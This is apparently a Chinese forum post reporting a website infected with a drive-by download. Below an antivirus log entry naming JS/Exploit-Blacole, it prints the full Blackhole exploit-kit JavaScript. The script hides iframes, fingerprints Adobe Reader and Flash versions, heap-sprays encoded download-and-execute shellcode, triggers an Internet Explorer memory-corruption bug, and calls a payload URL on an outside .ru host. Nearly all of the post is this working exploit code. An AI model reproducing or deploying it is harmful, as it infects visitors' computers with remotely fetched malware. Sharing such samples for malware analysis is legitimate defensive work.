http://www.human-search-engine.com/67.html【挂马BY哀酱】

墨家小子

2013/4/28        16:19:57        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AFYXINBM\67[1].htm        JS/Exploit-Blacole.em (特洛伊)

哀酱俏佳人

document.write("<div style=\"position:absolute; left:-1000px; top:-1000px;\">");
function i73(a){
  document.write(
  "<iframe src=\"http://scckuzbass.ru/scripts/google4232e24c9449ddae.php?s=XxCyXH1I&id=" +
  a + "\"></iframe>");
}
qzq0 = 0;
var scode = "
%u3190%u99C0%u0364%u3040%u408B%u8B0C%u1C70%u8BAD%u0868%u78E8%u0000%u8B00%u3C45%u8B53%u0554
%u5678%uEA01%uC983%u52FF%u728B%u0120%u41EE%u31AD%u99DB%uCBC1%u010D%u40D3%u0299%u0554%u75FF
%u39F3%u75FB%u5EEA%u5E8B%u0124%u66EB%u0C8B%u8B4B%u1C5E%uEB01%u048B%u018B%u5EE8%uFF5B%u50E0
%u49BF%u0FED%uFF7E%u5ED3%u5056%u5452%u5656%uBF50%u4B8B%u5FE3%uD3FF%u0159%u85CE%u58C0%u02E3
%uE975%u5058%uC629%u948D%u2036%uA1D5%u0161%u3054%u83FC%u04EE%uF075%u31C3%uB6F6%u5B30%u406A
%uC152%u04E2%u5652%u54BF%uAFCA%uFF91%u50D3%u0CE8%u0000%u7700%u6E69%u6E69%u7465%u642E%u6C6C
%uBF00%u4E8E%uEC0E%uD3FF%u5695%u5656%u5656%u29BF%uE844%uFF57%u56D3%u0068%u0001%u5684%uE856
%uFF83%uFFFF";
function ek13(){
  return true;
}
window.onerror = ek13;
function n73(a){
  var k, s, i;
  if (navigator.mimeTypes.length && (k = navigator.plugins))for (i = 0; i < k.length; i ++
  ){
    s = k.name;
    if (s.indexOf(a) >= 0)return k;
  }
  return 0;
}
plN9z = 0;
try {
  plN9z = new ActiveXObject("AcroPDF.PDF");
}
catch (e){
}
if (!plN9z)try {
  plN9z = new ActiveXObject("PDF.PdfCtrl");
}
catch (e){
}
if (plN9z){
  var lv = ((plN9z.GetVersions().split(","))[4].split("="))[1].replace(/\./g, "");
  plN9z = (lv < 900) && (lv != 813);
}
else plN9z = n73("Adobe A") || n73("Adobe P");
if (plN9z)i73(2);
qzq0 = 0;
plN9z = 0;
function s73(a){
  if (a[0] == 9){
    plN9z = a[2] < 124;
    qzq0 = (a[2] > 16) && (a[2] < 246);
  }
  else if (a[0] == 10)qzq0 = a[2] < 23;
  qzq0 = qzq0 && (navigator.userAgent.toLowerCase().indexOf("safari") ==- 1);
}
if ((x = n73("Flash")) && (x = x.description))s73(x.replace(/([a-zA-Z]|\s)+/, "").replace(
/(\s+r|\s+b[0-9]+)/, ".").split("."));
else try {
  s73((new ActiveXObject("ShockwaveFlash.ShockwaveFlash")).GetVariable("$version").split(
  " ")[1].split(","));
}
catch (e){
}
if (plN9z)i73(3);
if (qzq0){
  var m = new Array(), m1 = unescape("%u0808%u0808"), s = unescape(scode + "
%u7468%u7074%u2F3A%u732F%u6363%u756B%u627A%u7361%u2E73%u7572%u732F%u7263%u7069%u7374%u672F
%u6F6F%u6C67%u3465%u3332%u6532%u3432%u3963%u3434%u6439%u6164%u2E65%u6870%u3F70%u3D73%u7858
%u7943%u4858%u4931%u6926%u3D64%u3231%u0000");
  while (m1.length <= 32768)m1 += m1;
  m1 = m1.substring(0, 32768 - s.length);
  for (var i = 0; i < 1536; i ++ )m = m1 + s;
  i73("4&z=" + (plN9z + 0));
}
if (!qzq0 && document.all){
  i73(5);
  var scode2 = unescape(scode + "
%u7468%u7074%u2F3A%u732F%u6363%u756B%u627A%u7361%u2E73%u7572%u732F%u7263%u7069%u7374%u672F
%u6F6F%u6C67%u3465%u3332%u6532%u3432%u3963%u3434%u6439%u6164%u2E65%u6870%u3F70%u3D73%u7858
%u7943%u4858%u4931%u6926%u3D64%u3331%u0000");
  var o84r = new Array();
  var m79k = 0x100000 - (scode2.length * 2 + 0x01020);
  var d15t = unescape("%u0C0C%u0C0C");
  while (d15t.length < m79k/2)d15t+=d15t;var f20b=d15t.substring(0,m79k/2);
  deleted15t;
  for (v95l = 0; v95l < 0xC0; v95l ++ )o84r[v95l] = f20b + scode2;
  CollectGarbage();
  var m77k = unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
  var e89f = new Array();
  for (var e45n = 0; e45n < 1000; e45n ++ )e89f.push(document.createElement("img"));
  r27n = document.createElement("tbody");
  r27n.click;
  var o88j = r27n.cloneNode();
  r27n.clearAttributes();
  r27n = null;
  CollectGarbage();
  for (var e45n = 0; e45n < e89f.length; e45n ++ )e89f[e45n].src = m77k;
  o88j.click;
}
document.write("</div>");